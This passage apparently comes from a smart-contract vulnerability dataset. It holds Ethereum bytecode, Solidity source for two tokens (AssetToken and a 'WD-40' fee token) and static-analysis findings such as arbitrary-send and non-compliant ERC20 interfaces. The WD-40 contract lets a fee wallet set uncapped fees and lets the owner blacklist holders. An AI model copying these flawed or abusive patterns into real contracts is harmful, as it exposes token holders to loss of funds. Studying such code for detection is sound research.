405180910390fd5b600b5433600090815260076020526040902054908103908111156112df57fe5b600b5433600081815260076020526040808220939093559151909183156108fc02918491818181858888f19350505050158015610f4e573d6000803e3d6000fd5b60048060055460ff16600481111561133457fe5b1461137357604051600160e51b62461bcd0281526004018080602001828103825260368152602001806114c46036913960400191505060405180910390fd5b336000908152600760205260409020546113c157604051600160e51b62461bcd0281526004018080602001828103825260238152602001806115836023913960400191505060405180910390fd5b33600081815260076020526040808220805490839055905190929183156108fc02918491818181858888f19350505050158015610f4e573d6000803e3d6000fdfe596f752063616e6e6f74207769746864726177206265666f7265207468652061756374696f6e20697320656e646564206f72206974206661696c65642e4e6f7420656e6f756768206574686572207761732070726f766964656420666f722062696464696e672e5468652066756e6374696f6e2063616e206f6e6c792062652063616c6c656420627920746865206f776e6572546865206465706f736974206c6f636b657220636f6e7472616374206973206e6f7420696e697469616c697a656441756374696f6e206973206e6f7420696e207468652070726f70657220737461746520666f72206465736972656420616374696f6e2e5468652061756374696f6e2063616e6e6f7420626520636c6f7365642074686973206561726c792e54696d6573206c6f6e676572207468616e2031303020796561727320617265206e6f7420737570706f727465642e546865206c696d6974206f66207061727469636970616e74732068617320616c7265616479206265656e20726561636865642e5468652073656e64657220686173206e6f7468696e6720746f2077697468647261772ea165627a7a72305820f025cff7210cac5fcc23120e5900e104ad7dbd8f5d92c0b8a6288f0d5ca950570029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,983 |
0x59de38752b22c13cb45da2105cd769e57ff615a8
|
pragma solidity ^0.4.13;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = true;
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenPaused {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value);
function approve(address spender, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// if (_value > _allowance) throw;
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) && (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still avaible for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title SimpleToken
* @dev Very simple ERC20 Token example, where all tokens are pre-assigned to the creator.
* Note they can later distribute these tokens as they wish using `transfer` and other
* `StandardToken` functions.
*/
contract AssetToken is Pausable, StandardToken {
using SafeMath for uint256;
address public treasurer = 0x0;
uint256 public purchasableTokens = 0;
string public name = "Asset Token";
string public symbol = "AST";
uint256 public decimals = 18;
uint256 public INITIAL_SUPPLY = 1000000000 * 10**18;
uint256 public RATE = 200;
/**
* @dev Contructor that gives msg.sender all of existing tokens.
*/
function AssetToken() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
address oldOwner = owner;
super.transferOwnership(newOwner);
balances[newOwner] = balances[oldOwner];
balances[oldOwner] = 0;
}
/**
* @dev Allows the current owner to transfer treasurership of the contract to a newTreasurer.
* @param newTreasurer The address to transfer treasurership to.
*/
function transferTreasurership(address newTreasurer) onlyOwner {
if (newTreasurer != address(0)) {
treasurer = newTreasurer;
}
}
/**
* @dev Allows owner to release tokens for purchase
* @param amount The number of tokens to release
*/
function setPurchasable(uint256 amount) onlyOwner {
require(amount > 0);
require(balances[owner] >= amount);
purchasableTokens = amount.mul(10**18);
}
/**
* @dev Allows owner to change the rate Tokens per 1 Ether
* @param rate The number of tokens to release
*/
function setRate(uint256 rate) onlyOwner {
RATE = rate;
}
/**
* @dev fallback function
*/
function () payable {
buyTokens(msg.sender);
}
/**
* @dev function that sells available tokens
*/
function buyTokens(address addr) payable whenNotPaused {
require(treasurer != 0x0); // Must have a treasurer
// Calculate tokens to sell and check that they are purchasable
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(RATE);
require(purchasableTokens >= tokens);
// Send tokens to buyer
purchasableTokens = purchasableTokens.sub(tokens);
balances[owner] = balances[owner].sub(tokens);
balances[addr] = balances[addr].add(tokens);
Transfer(owner, addr, tokens);
// Send money to the treasurer
treasurer.transfer(msg.value);
}
}
|
0x606060405236156101245763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166294151b811461013657806306fdde031461014e578063095ea7b3146101d957806318160ddd146101fd57806323b872dd146102225780632ff2e9dc1461024c578063313ce5671461027157806334fcf437146102965780633f4ba83a146102ae5780635c975abb146102d5578063664e9704146102fc57806370a08231146103215780638456cb59146103525780638da5cb5b1461037957806395d89b41146103a8578063a9059cbb14610433578063c59a942814610457578063dd62ed3e14610478578063e2fdf807146104af578063ec8ac4d8146104d4578063f2fde38b146104ea578063fda49eb41461050b575b6101345b6101313361053a565b5b565b005b341561014157600080fd5b61013460043561069b565b005b341561015957600080fd5b610161610709565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561019e5780820151818401525b602001610185565b50505050905090810190601f1680156101cb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101e457600080fd5b610134600160a060020a03600435166024356107a7565b005b341561020857600080fd5b610210610848565b60405190815260200160405180910390f35b341561022d57600080fd5b610134600160a060020a036004358116906024351660443561084e565b005b341561025757600080fd5b61021061095a565b60405190815260200160405180910390f35b341561027c57600080fd5b610210610960565b60405190815260200160405180910390f35b34156102a157600080fd5b610134600435610966565b005b34156102b957600080fd5b6102c161098b565b604051901515815260200160405180910390f35b34156102e057600080fd5b6102c1610a12565b604051901515815260200160405180910390f35b341561030757600080fd5b610210610a22565b60405190815260200160405180910390f35b341561032c57600080fd5b610210600160a060020a0360043516610a28565b60405190815260200160405180910390f35b341561035d57600080fd5b6102c1610a47565b604051901515815260200160405180910390f35b341561038457600080fd5b61038c610ad3565b604051600160a060020a03909116815260200160405180910390f35b34156103b357600080fd5b610161610ae2565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561019e5780820151818401525b602001610185565b50505050905090810190601f1680156101cb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561043e57600080fd5b610134600160a060020a0360043516602435610b80565b005b341561046257600080fd5b610134600160a060020a0360043516610c3b565b005b341561048357600080fd5b610210600160a060020a0360043581169060243516610c93565b60405190815260200160405180910390f35b34156104ba57600080fd5b610210610cc0565b60405190815260200160405180910390f35b610134600160a060020a036004351661053a565b005b34156104f557600080fd5b610134600160a060020a0360043516610cc6565b005b341561051657600080fd5b61038c610d2b565b604051600160a060020a03909116815260200160405180910390f35b60008054819060a060020a900460ff161561055457600080fd5b600454600160a060020a0316151561056b57600080fd5b600a5434925061058290839063ffffffff610d3a16565b9050806005541015151561059557600080fd5b6005546105a8908263ffffffff610d6916565b60055560008054600160a060020a03168152600260205260409020546105d4908263ffffffff610d6916565b60008054600160a060020a0390811682526002602052604080832093909355851681522054610609908263ffffffff610d8016565b600160a060020a03808516600081815260026020526040808220949094555490929116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9084905190815260200160405180910390a3600454600160a060020a03163480156108fc0290604051600060405180830381858888f19350505050151561069457600080fd5b5b5b505050565b60005433600160a060020a039081169116146106b657600080fd5b600081116106c357600080fd5b60008054600160a060020a0316815260026020526040902054819010156106e957600080fd5b61070181670de0b6b3a764000063ffffffff610d3a16565b6005555b5b50565b60068054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561079f5780601f106107745761010080835404028352916020019161079f565b820191906000526020600020905b81548152906001019060200180831161078257829003601f168201915b505050505081565b801580156107d85750600160a060020a03338116600090815260036020908152604080832093861683529290522054155b15156107e357600080fd5b600160a060020a03338116600081815260036020908152604080832094871680845294909152908190208490557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259084905190815260200160405180910390a35b5050565b60015481565b600160a060020a038084166000908152600360209081526040808320338516845282528083205493861683526002909152902054610892908363ffffffff610d8016565b600160a060020a0380851660009081526002602052604080822093909355908616815220546108c7908363ffffffff610d6916565b600160a060020a0385166000908152600260205260409020556108f0818363ffffffff610d6916565b600160a060020a03808616600081815260036020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35b50505050565b60095481565b60085481565b60005433600160a060020a0390811691161461098157600080fd5b600a8190555b5b50565b6000805433600160a060020a039081169116146109a757600080fd5b60005460a060020a900460ff1615156109bf57600080fd5b6000805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a15060015b5b5b90565b60005460a060020a900460ff1681565b600a5481565b600160a060020a0381166000908152600260205260409020545b919050565b6000805433600160a060020a03908116911614610a6357600080fd5b60005460a060020a900460ff1615610a7a57600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a15060015b5b5b90565b600054600160a060020a031681565b60078054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561079f5780601f106107745761010080835404028352916020019161079f565b820191906000526020600020905b81548152906001019060200180831161078257829003601f168201915b505050505081565b600160a060020a033316600090815260026020526040902054610ba9908263ffffffff610d6916565b600160a060020a033381166000908152600260205260408082209390935590841681522054610bde908263ffffffff610d8016565b600160a060020a0380841660008181526002602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9084905190815260200160405180910390a35b5050565b60005433600160a060020a03908116911614610c5657600080fd5b600160a060020a03811615610705576004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b5b50565b600160a060020a038083166000908152600360209081526040808320938516835292905220545b92915050565b60055481565b6000805433600160a060020a03908116911614610ce257600080fd5b50600054600160a060020a0316610cf882610d9a565b600160a060020a03808216600081815260026020526040808220805494871683529082209390935590815290555b5b5050565b600454600160a060020a031681565b6000828202831580610d565750828482811515610d5357fe5b04145b1515610d5e57fe5b8091505b5092915050565b600082821115610d7557fe5b508082035b92915050565b600082820183811015610d5e57fe5b8091505b5092915050565b60005433600160a060020a03908116911614610db557600080fd5b600160a060020a03811615610705576000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b5b505600a165627a7a72305820c9c30bfd1bc91f5c9d842e1296e26ca2faf65b293731f419c3b23587cdd7df480029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 3,984 |
0x9190bd950d1ce48840bed3c8de7ed650a8a37fa9
|
//
//░██╗░░░░░░░██╗██████╗░░░░░░░░░██╗██╗░█████╗░
//░██║░░██╗░░██║██╔══██╗░░░░░░░██╔╝██║██╔══██╗
//░╚██╗████╗██╔╝██║░░██║█████╗██╔╝░██║██║░░██║
//░░████╔═████║░██║░░██║╚════╝███████║██║░░██║
//░░╚██╔╝░╚██╔╝░██████╔╝░░░░░░╚════██║╚█████╔╝
//░░░╚═╝░░░╚═╝░░╚═════╝░░░░░░░░░░░░╚═╝░╚════╝░
//WD-40 is an American brand and the trademark name of a water-displacing spray
//manufactured by the WD-40 Company based in San Diego, California.
//WD-40 acts as a lubricant, rust preventative, penetrant and moisture displacer.
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract WD40 is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1 = 5;
uint256 private _feeAddr2 = 5;
address payable private _feeAddrWallet1 = payable(0x88F937cffd59BE530F847308B9F64f51465780bE);
address payable private _feeAddrWallet2 = payable(0x88F937cffd59BE530F847308B9F64f51465780bE);
string private constant _name = "Water Displacement 40th Attempt";
string private constant _symbol = "WD-40";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setFeeAmountOne(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr1 = fee;
}
function setFeeAmountTwo(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr2 = fee;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610398578063c3c8cd80146103c1578063c9567bf9146103d8578063cfe81ba0146103ef578063dd62ed3e146104185761011f565b8063715018a6146102c5578063842b7c08146102dc5780638da5cb5b1461030557806395d89b4114610330578063a9059cbb1461035b5761011f565b8063273123b7116100e7578063273123b7146101f4578063313ce5671461021d5780635932ead1146102485780636fc3eaec1461027157806370a08231146102885761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b6040516101469190612b4b565b60405180910390f35b34801561015b57600080fd5b5061017660048036038101906101719190612675565b610492565b6040516101839190612b30565b60405180910390f35b34801561019857600080fd5b506101a16104b0565b6040516101ae9190612ccd565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d99190612622565b6104c2565b6040516101eb9190612b30565b60405180910390f35b34801561020057600080fd5b5061021b60048036038101906102169190612588565b61059b565b005b34801561022957600080fd5b5061023261068b565b60405161023f9190612d42565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a91906126fe565b610694565b005b34801561027d57600080fd5b50610286610746565b005b34801561029457600080fd5b506102af60048036038101906102aa9190612588565b6107b8565b6040516102bc9190612ccd565b60405180910390f35b3480156102d157600080fd5b506102da610809565b005b3480156102e857600080fd5b5061030360048036038101906102fe9190612758565b61095c565b005b34801561031157600080fd5b5061031a6109fd565b6040516103279190612a62565b60405180910390f35b34801561033c57600080fd5b50610345610a26565b6040516103529190612b4b565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d9190612675565b610a63565b60405161038f9190612b30565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba91906126b5565b610a81565b005b3480156103cd57600080fd5b506103d6610bab565b005b3480156103e457600080fd5b506103ed610c25565b005b3480156103fb57600080fd5b5061041660048036038101906104119190612758565b611185565b005b34801561042457600080fd5b5061043f600480360381019061043a91906125e2565b611226565b60405161044c9190612ccd565b60405180910390f35b60606040518060400160405280601f81526020017f576174657220446973706c6163656d656e74203430746820417474656d707400815250905090565b60006104a661049f6112ad565b84846112b5565b6001905092915050565b600069d3c21bcecceda1000000905090565b60006104cf848484611480565b610590846104db6112ad565b61058b8560405180606001604052806028815260200161342060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105416112ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195e9092919063ffffffff16565b6112b5565b600190509392505050565b6105a36112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610630576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062790612c2d565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61069c6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610729576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072090612c2d565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107876112ad565b73ffffffffffffffffffffffffffffffffffffffff16146107a757600080fd5b60004790506107b5816119c2565b50565b6000610802600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611abd565b9050919050565b6108116112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461089e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089590612c2d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673fffff